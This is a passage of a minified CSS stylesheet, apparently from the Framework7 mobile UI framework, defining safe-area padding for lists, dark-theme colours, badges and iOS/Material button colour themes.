.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row{padding-right:0}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}.list.md .theme-dark ul:before,.md .theme-dark .list ul:before{background-color:rgba(255,255,255,.08)}.list.md .theme-dark ul:after,.md .theme-dark .list ul:after{background-color:rgba(255,255,255,.08)}.list.md .theme-dark li li:last-child .item-inner:after,.list.md .theme-dark li:last-child li .item-inner:after,.md .theme-dark .list li li:last-child .item-inner:after,.md .theme-dark .list li:last-child li .item-inner:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-divider:before{background-color:rgba(255,255,255,.08)}.md .theme-dark .list-group-title:before{background-color:rgba(255,255,255,.08)}.md .theme-dark .list-button:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-inner:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-divider,.md .theme-dark .list-group-title{background-color:#111;color:#fff}.links-list.md .theme-dark a .simple-list li:after,.md .theme-dark .links-list a:after,.md .theme-dark .simple-list li:after,.simple-list.md .theme-dark li:after{background-color:rgba(255,255,255,.08)}.links-list.md .theme-dark a.active-state,.list.md .theme-dark .item-link.active-state,.list.md .theme-dark .list-button.active-state,.md .theme-dark .links-list a.active-state,.md .theme-dark .list .item-link.active-state,.md .theme-dark .list .list-button.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .item-after,.md .theme-dark .item-text{color:rgba(255,255,255,.54)}.md .color-theme-red .list-button{color:#f44336}.md .color-theme-green .list-button{color:#4caf50}.md .color-theme-blue .list-button{color:#2196f3}.md .color-theme-pink .list-button{color:#e91e63}.md .color-theme-yellow .list-button{color:#ffeb3b}.md .color-theme-orange .list-button{color:#ff9800}.md .color-theme-gray .list-button{color:#9e9e9e}.md .color-theme-white .list-button{color:#fff}.md .color-theme-black .list-button{color:#000}.md .links-list a.color-red,.md .links-list li.color-red a,.md .list .item-link.color-red,.md .list .list-button.color-red,.md .list li.color-red .item-link,.md .list li.color-red .list-button,.md .simple-list li.color-red{color:#f44336}.md .links-list a.color-green,.md .links-list li.color-green a,.md .list .item-link.color-green,.md .list .list-button.color-green,.md .list li.color-green .item-link,.md .list li.color-green .list-button,.md .simple-list li.color-green{color:#4caf50}.md .links-list a.color-blue,.md .links-list li.color-blue a,.md .list .item-link.color-blue,.md .list .list-button.color-blue,.md .list li.color-blue .item-link,.md .list li.color-blue .list-button,.md .simple-list li.color-blue{color:#2196f3}.md .links-list a.color-pink,.md .links-list li.color-pink a,.md .list .item-link.color-pink,.md .list .list-button.color-pink,.md .list li.color-pink .item-link,.md .list li.color-pink .list-button,.md .simple-list li.color-pink{color:#e91e63}.md .links-list a.color-yellow,.md .links-list li.color-yellow a,.md .list .item-link.color-yellow,.md .list .list-button.color-yellow,.md .list li.color-yellow .item-link,.md .list li.color-yellow .list-button,.md .simple-list li.color-yellow{color:#ffeb3b}.md .links-list a.color-orange,.md .links-list li.color-orange a,.md .list .item-link.color-orange,.md .list .list-button.color-orange,.md .list li.color-orange .item-link,.md .list li.color-orange .list-button,.md .simple-list li.color-orange{color:#ff9800}.md .links-list a.color-gray,.md .links-list li.color-gray a,.md .list .item-link.color-gray,.md .list .list-button.color-gray,.md .list li.color-gray .item-link,.md .list li.color-gray .list-button,.md .simple-list li.color-gray{color:#9e9e9e}.md .links-list a.color-white,.md .links-list li.color-white a,.md .list .item-link.color-white,.md .list .list-button.color-white,.md .list li.color-white .item-link,.md .list li.color-white .list-button,.md .simple-list li.color-white{color:#fff}.md .links-list a.color-black,.md .links-list li.color-black a,.md .list .item-link.color-black,.md .list .list-button.color-black,.md .list li.color-black .item-link,.md .list li.color-black .list-button,.md .simple-list li.color-black{color:#000}.badge{display:inline-block;color:#fff;background:#8e8e93;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center}.f7-icons .badge,.framework7-icons .badge,.icon .badge,.material-icons .badge{position:absolute;left:100%;margin-left:-10px;top:-2px}.ios .badge{font-size:13px;border-radius:20px;padding:0 6px;height:20px;line-height:20px}.item-after .ios .badge{min-width:20px}.ios .f7-icons .badge,.ios .framework7-icons .badge,.ios .icon .badge,.ios .material-icons .badge{line-height:16px;height:16px;border-radius:16px;padding:0 4px;min-width:16px;font-family:-apple-system,SF UI Text,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:10px}.ios .badge.color-red{background-color:#ff3b30}.ios .badge.color-green{background-color:#4cd964}.ios .badge.color-blue{background-color:#007aff}.ios .badge.color-pink{background-color:#ff2d55}.ios .badge.color-yellow{background-color:#fc0}.ios .badge.color-orange{background-color:#ff9500}.ios .badge.color-gray{background-color:#8e8e93}.ios .badge.color-white{background-color:#fff}.ios .badge.color-black{background-color:#000}.md .badge{font-size:10px;border-radius:3px;padding:1px 6px;vertical-align:middle}.md .f7-icons .badge,.md .framework7-icons .badge,.md .icon .badge,.md .material-icons .badge{line-height:1.4;padding:1px 5px;font-family:Roboto,Noto,Helvetica,Arial,sans-serif;font-size:10px}.md .badge.color-red{background-color:#f44336}.md .badge.color-green{background-color:#4caf50}.md .badge.color-blue{background-color:#2196f3}.md .badge.color-pink{background-color:#e91e63}.md .badge.color-yellow{background-color:#ffeb3b}.md .badge.color-orange{background-color:#ff9800}.md .badge.color-gray{background-color:#9e9e9e}.md .badge.color-white{background-color:#fff}.md .badge.color-black{background-color:#000}button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle}input[type=button].button,input[type=submit].button{width:100%}button{width:100%}.segmented{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap}.segmented .button,.segmented button{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.subnavbar .segmented{width:100%}.ios .button{border:1px solid #007aff;color:#007aff;border-radius:5px;line-height:27px;height:29px}.ios .button.active-state{background:rgba(0,122,255,.15)}.ios .button.button-round,.ios .button.button-round-ios{border-radius:29px}.ios .button.button-active,.ios .button.tab-link-active{background:#007aff;color:#fff}.ios .button.button-big,.ios .button.button-big-ios{font-size:17px;height:44px;line-height:42px}.ios .button.button-small,.ios .button.button-small-ios{height:26px;line-height:22px;border-width:2px;font-size:13px;font-weight:600;text-transform:uppercase;-webkit-transition-duration:.2s;transition-duration:.2s}.ios .button.button-small-ios.button-fill-ios.active-state,.ios .button.button-small-ios.button-fill.active-state,.ios .button.button-small.button-fill-ios.active-state,.ios .button.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent;opacity:1}.ios .button.button-fill,.ios .button.button-fill-ios{color:#fff;background:#007aff;border-color:transparent}.ios .button.button-fill-ios.active-state,.ios .button.button-fill.active-state{opacity:.8}.ios .button i.icon:first-child{margin-right:10px}.ios .button i.icon:last-child{margin-left:10px}.ios .button i.icon:first-child:last-child{margin-left:0;margin-right:0}.ios .segmented .button{border-radius:0;border-left-width:0}.ios .segmented .button:first-child{border-radius:5px 0 0 5px;border-left-width:1px;border-left-style:solid}.ios .segmented .button:first-child.button-small{border-left-width:2px}.ios .segmented .button:last-child{border-radius:0 5px 5px 0}.ios .segmented .button:first-child:last-child{border-radius:5px}.ios .segmented .button.button-round-ios:first-child,.ios .segmented .button.button-round:first-child{border-radius:29px 0 0 29px}.ios .segmented .button.button-round-ios:last-child,.ios .segmented .button.button-round:last-child{border-radius:0 29px 29px 0}.ios .color-theme-red .button{border-color:#ff3b30;color:#ff3b30}.ios .color-theme-red .button.active-state{background:rgba(255,59,48,.15)}.ios .color-theme-red .button.button-active,.ios .color-theme-red .button.button-fill,.ios .color-theme-red .button.button-fill-ios,.ios .color-theme-red .button.tab-link-active{color:#fff}.ios .color-theme-red .button.button-active,.ios .color-theme-red .button.tab-link-active{background:#ff3b30}.ios .color-theme-red .button.button-fill,.ios .color-theme-red .button.button-fill-ios{background:#ff3b30;border-color:transparent}.ios .color-theme-red .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-red .button.button-small-ios.button-fill.active-state,.ios .color-theme-red .button.button-small.button-fill-ios.active-state,.ios .color-theme-red .button.button-small.button-fill.active-state{color:#ff3b30;border:2px solid #ff3b30;background-color:transparent}.ios .color-theme-green .button{border-color:#4cd964;color:#4cd964}.ios .color-theme-green .button.active-state{background:rgba(76,217,100,.15)}.ios .color-theme-green .button.button-active,.ios .color-theme-green .button.button-fill,.ios .color-theme-green .button.button-fill-ios,.ios .color-theme-green .button.tab-link-active{color:#fff}.ios .color-theme-green .button.button-active,.ios .color-theme-green .button.tab-link-active{background:#4cd964}.ios .color-theme-green .button.button-fill,.ios .color-theme-green .button.button-fill-ios{background:#4cd964;border-color:transparent}.ios .color-theme-green .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-green .button.button-small-ios.button-fill.active-state,.ios .color-theme-green .button.button-small.button-fill-ios.active-state,.ios .color-theme-green .button.button-small.button-fill.active-state{color:#4cd964;border:2px solid #4cd964;background-color:transparent}.ios .color-theme-blue .button{border-color:#007aff;color:#007aff}.ios .color-theme-blue .button.active-state{background:rgba(0,122,255,.15)}.ios .color-theme-blue .button.button-active,.ios .color-theme-blue .button.button-fill,.ios .color-theme-blue .button.button-fill-ios,.ios .color-theme-blue .button.tab-link-active{color:#fff}.ios .color-theme-blue .button.button-active,.ios .color-theme-blue .button.tab-link-active{background:#007aff}.ios .color-theme-blue .button.button-fill,.ios .color-theme-blue .button.button-fill-ios{background:#007aff;border-color:transparent}.ios .color-theme-blue .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-blue .button.button-small-ios.button-fill.active-state,.ios .color-theme-blue .button.button-small.button-fill-ios.active-state,.ios .color-theme-blue .button.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent}.ios .color-theme-pink .button{border-color:#ff2d55;color:#ff2d55}.ios .color-theme-pink .button.active-state{background:rgba(255,45,85,.15)}.ios .color-theme-pink .button.button-active,.ios .color-theme-pink .button.button-fill,.ios .color-theme-pink .button.button-fill-ios,.ios .color-theme-pink .button.tab-link-active{color:#fff}.ios .color-theme-pink .button.button-active,.ios .color-theme-pink .button.tab-link-active{background:#ff2d55}.ios .color-theme-pink .button.button-fill,.ios .color-theme-pink .button.button-fill-ios{background:#ff2d55;border-color:transparent}.ios .color-theme-pink .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-pink .button.button-small-ios.button-fill.active-state,.ios .color-theme-pink .button.button-small.button-fill-ios.active-state,.ios .color-theme-pink .button.button-small.button-fill.active-state{color:#ff2d55;border:2px solid #ff2d55;background-color:transparent}.ios .color-theme-yellow .button{border-color:#fc0;color:#fc0}.ios .color-theme-yellow .button.active-state{background:rgba(255,204,0,.15)}.ios .color-theme-yellow .button.button-active,.ios .color-theme-yellow .button.button-fill,.ios .color-theme-yellow .button.button-fill-ios,.ios .color-theme-yellow .button.tab-link-active{color:#fff}.ios .color-theme-yellow .button.button-active,.ios .color-theme-yellow .button.tab-link-active{background:#fc0}.ios .color-theme-yellow .button.button-fill,.ios .color-theme-yellow .button.button-fill-ios{background:#fc0;border-color:transparent}.ios .color-theme-yellow .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-yellow .button.button-small-ios.button-fill.active-state,.ios .color-theme-yellow .button.button-small.button-fill-ios.active-state,.ios .color-theme-yellow .button.button-small.button-fill.active-state{color:#fc0;border:2px solid #fc0;background-color:transparent}.ios .color-theme-orange .button{border-color:#ff9500;color:#ff9500}.ios .color-theme-orange .button.active-state{background:rgba(255,149,0,.15)}.ios .color-theme-orange .button.button-active,.ios .color-theme-orange .button.button-fill,.ios .color-theme-orange .button.button-fill-ios,.ios .color-theme-orange .button.tab-link-active{color:#fff}.ios .color-theme-orange .button.button-active,.ios .color-theme-orange .button.tab-link-active{background:#ff9500}.ios .color-theme-orange .button.button-fill,.ios .color-theme-orange .button.button-fill-ios{background:#ff9500;border-color:transparent}.ios .color-theme-orange .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-orange .button.button-small-ios.button-fill.active-state,.ios .color-theme-orange .button.button-small.button-fill-ios.active-state,.ios .color-theme-orange .button.button-small.button-fill.active-state{color:#ff9500;border:2px solid #ff9500;background-color:transparent}.ios .color-theme-gray .button{border-color:#8e8e93;color:#8e8e93}.ios .color-theme-gray .button.active-state{background:rgba(142,142,147,.15)}.ios .color-theme-gray .button.button-active,.ios .color-theme-gray .button.button-fill,.ios .color-theme-gray .button.button-fill-ios,.ios .color-theme-gray .button.tab-link-active{color:#fff}.ios .color-theme-gray .button.button-active,.ios .color-theme-gray .button.tab-link-active{background:#8e8e93}.ios .color-theme-gray .button.button-fill,.ios .color-theme-gray .button.button-fill-ios{background:#8e8e93;border-color:transparent}.ios .color-theme-gray .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-gray .button.button-small-ios.button-fill.active-state,.ios .color-theme-gray .button.button-small.button-fill-ios.active-state,.ios .color-theme-gray .button.button-small.button-fill.active-state{color:#8e8e93;border:2px solid #8e8e93;background-color:transparent}.ios .color-theme-white .button{border-color:#fff;color:#fff}.ios .color-theme-white .button.active-state{background:rgba(255,255,255,.15)}.ios .color-theme-white .button.button-active,.ios .color-theme-white .button.button-fill,.ios .color-theme-white .button.button-fill-ios,.ios .color-theme-white .button.tab-link-active{color:#fff}.ios .color-theme-white .button.button-active,.ios .color-theme-white .button.tab-link-active{background:#fff}.ios .color-theme-white .button.button-fill,.ios .color-theme-white .button.button-fill-ios{background:#fff;border-color:transparent}.ios .color-theme-white .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-white .button.button-small-ios.button-fill.active-state,.ios .color-theme-white .button.button-small.button-fill-ios.active-state,.ios .color-theme-white .button.button-small.button-fill.active-state{color:#fff;border:2px solid #fff;background-color:transparent}.ios .color-theme-black .button{border-color:#000;color:#000}.ios .color-theme-black .button.active-state{background:rgba(0,0,0,.15)}.ios .color-theme-black .button.button-active,.ios .color-theme-black .button.button-fill,.ios .color-theme-black .button.button-fill-ios,.ios .color-theme-black .button.tab-link-active{color:#fff}.ios .color-theme-black .button.button-active,.ios .color-theme-black .button.tab-link-active{background:#000}.ios .color-theme-black .button.button-fill,.ios .color-theme-black .button.button-fill-ios{background:#000;border-color:transparent}.ios .color-theme-black .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-black .button.button-small-ios.button-fill.active-state,.ios .color-theme-black .button.button-small.button-fill-ios.active-state,.ios .color-theme-black .button.button-small.button-fill.active-state{color:#000;border:2px solid #000;background-color:transparent}.ios .button.color-red{border-color:#ff3b30;color:#ff3b30}.ios .button.color-red.active-state{background:rgba(255,59,48,.15)}.ios .button.color-red.button-active,.ios .button.color-red.button-fill,.ios .button.color-red.button-fill-ios,.ios .button.color-red.tab-link-active{color:#fff}.ios .button.color-red.button-active,.ios .button.color-red.tab-link-active{background:#ff3b30}.ios .button.color-red.button-fill,.ios .button.color-red.button-fill-ios{background:#ff3b30;border-color:transparent}.ios .button.color-red.button-small-ios.button-fill-ios.active-state,.ios .button.color-red.button-small-ios.button-fill.active-state,.ios .button.color-red.button-small.button-fill-ios.active-state,.ios .button.color-red.button-small.button-fill.active-state{color:#ff3b30;border:2px solid #ff3b30;background-color:transparent}.ios .button.color-green{border-color:#4cd964;color:#4cd964}.ios .button.color-green.active-state{background:rgba(76,217,100,.15)}.ios .button.color-green.button-active,.ios .button.color-green.button-fill,.ios .button.color-green.button-fill-ios,.ios .button.color-green.tab-link-active{color:#fff}.ios .button.color-green.button-active,.ios .button.color-green.tab-link-active{background:#4cd964}.ios .button.color-green.button-fill,.ios .button.color-green.button-fill-ios{background:#4cd964;border-color:transparent}.ios .button.color-green.button-small-ios.button-fill-ios.active-state,.ios .button.color-green.button-small-ios.button-fill.active-state,.ios .button.color-green.button-small.button-fill-ios.active-state,.ios .button.color-green.button-small.button-fill.active-state{color:#4cd964;border:2px solid #4cd964;background-color:transparent}.ios .button.color-blue{border-color:#007aff;color:#007aff}.ios .button.color-blue.active-state{background:rgba(0,122,255,.15)}.ios .button.color-blue.button-active,.ios .button.color-blue.button-fill,.ios .button.color-blue.button-fill-ios,.ios .button.color-blue.tab-link-active{color:#fff}.ios .button.color-blue.button-active,.ios .button.color-blue.tab-link-active{background:#007aff}.ios .button.color-blue.button-fill,.ios .button.color-blue.button-fill-ios{background:#007aff;border-color:transparent}.ios .button.color-blue.button-small-ios.button-fill-ios.active-state,.ios .button.color-blue.button-small-ios.button-fill.active-state,.ios .button.color-blue.button-small.button-fill-ios.active-state,.ios .button.color-blue.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent}.ios .button.color-pink{border-color:#ff2d55;color:#ff2d55}.ios .button.color-pink.active-state{background:rgba(255,45,85,.15)}.ios .button.color-pink.button-active,.ios .button.color-pink.button-fill,.ios .button.color-pink.button-fill-ios,.ios .button.color-pink.tab-link-active{color:#fff}.ios .button.color-pink.button-active,.ios .button.color-pink.tab-link-active{background:#ff2d55}.ios .button.color-pink.button-fill,.ios .button.color-pink.button-fill-ios{background:#ff2d55;border-color:transparent}.ios .button.color-pink.button-small-ios.button-fill-ios.active-state,.ios .button.color-pink.button-small-ios.button-fill.active-state,.ios .button.color-pink.button-small.button-fill-ios.active-state,.ios .button.color-pink.button-small.button-fill.active-state{color:#ff2d55;border:2px solid #ff2d55;background-color:transparent}.ios .button.color-yellow{border-color:#fc0;color:#fc0}.ios .button.color-yellow.active-state{background:rgba(255,204,0,.15)}.ios .button.color-yellow.button-active,.ios .button.color-yellow.button-fill,.ios .button.color-yellow.button-fill-ios,.ios .button.color-yellow.tab-link-active{color:#fff}.ios .button.color-yellow.button-active,.ios .button.color-yellow.tab-link-active{background:#fc0}.ios .button.color-yellow.button-fill,.ios .button.color-yellow.button-fill-ios{background:#fc0;border-color:transparent}.ios .button.color-yellow.button-small-ios.button-fill-ios.active-state,.ios .button.color-yellow.button-small-ios.button-fill.active-state,.ios .button.color-yellow.button-small.button-fill-ios.active-state,.ios .button.color-yellow.button-small.button-fill.active-state{color:#fc0;border:2px solid #fc0;background-color:transparent}.ios .button.color-orange{border-color:#ff9500;color:#ff9500}.ios .button.color-orange.active-state{background:rgba(255,149,0,.15)}.ios .button.color-orange.button-active,.ios .button.color-orange.button-fill,.ios .button.color-orange.button-fill-ios,.ios .button.color-orange.tab-link-active{color:#fff}.ios .button.color-orange.button-active,.ios .button.color-orange.tab-link-active{background:#ff9500}.ios .button.color-orange.button-fill,.ios .button.color-orange.button-fill-ios{background:#ff9500;border-color:transparent}.ios .button.color-orange.button-small-ios.button-fill-ios.active-state,.ios .button.color-orange.button-small-ios.button-fill.active-state,.ios .button.color-orange.button-small.button-fill-ios.active-state,.ios .button.color-orange.button-small.button-fill.active-state{color:#ff9500;border:2px solid #ff9500;background-color:transparent}.ios .button.color-gray{border-color:#8e8e93;color:#8e8e93}.ios .button.color-gray.active-state{background:rgba(142,142,147,.15)}.ios .button.color-gray.button-active,.ios .button.color-gray.button-fill,.ios .button.color-gray.button-fill-ios,.ios .button.color-gray.tab-link-active{color:#fff}.ios .button.color-gray.button-active,.ios .button.color-gray.tab-link-active{background:#8e8e93}.ios .button.color-gray.button-fill,.ios .button.color-gray.button-fill-ios{background:#8e8e93;border-color:transparent}.ios .button.color-gray.button-small-ios.button-fill-ios.active-state,.ios .button.color-gray.button-small-ios.button-fill.active-state,.ios .button.color-gray.button-small.button-fill-ios.active-state,.ios .button.color-gray.button-small.button-fill.active-state{color:#8e8e93;border:2px solid #8e8e93;background-color:transparent}.ios .button.color-white{border-color:#fff;color:#fff}.ios .button.color-white.active-state{background:rgba(255,255,255,.15)}.ios .button.color-white.button-active,.ios .button.color-white.button-fill,.ios .button.color-white.button-fill-ios,.ios .button.color-white.tab-link-active{color:#fff}.ios .button.color-white.button-active,.ios .button.color-white.tab-link-active{background:#fff}.ios .button.color-white.button-fill,.ios .button.color-white.button-fill-ios{background:#fff;border-color:transparent}.ios 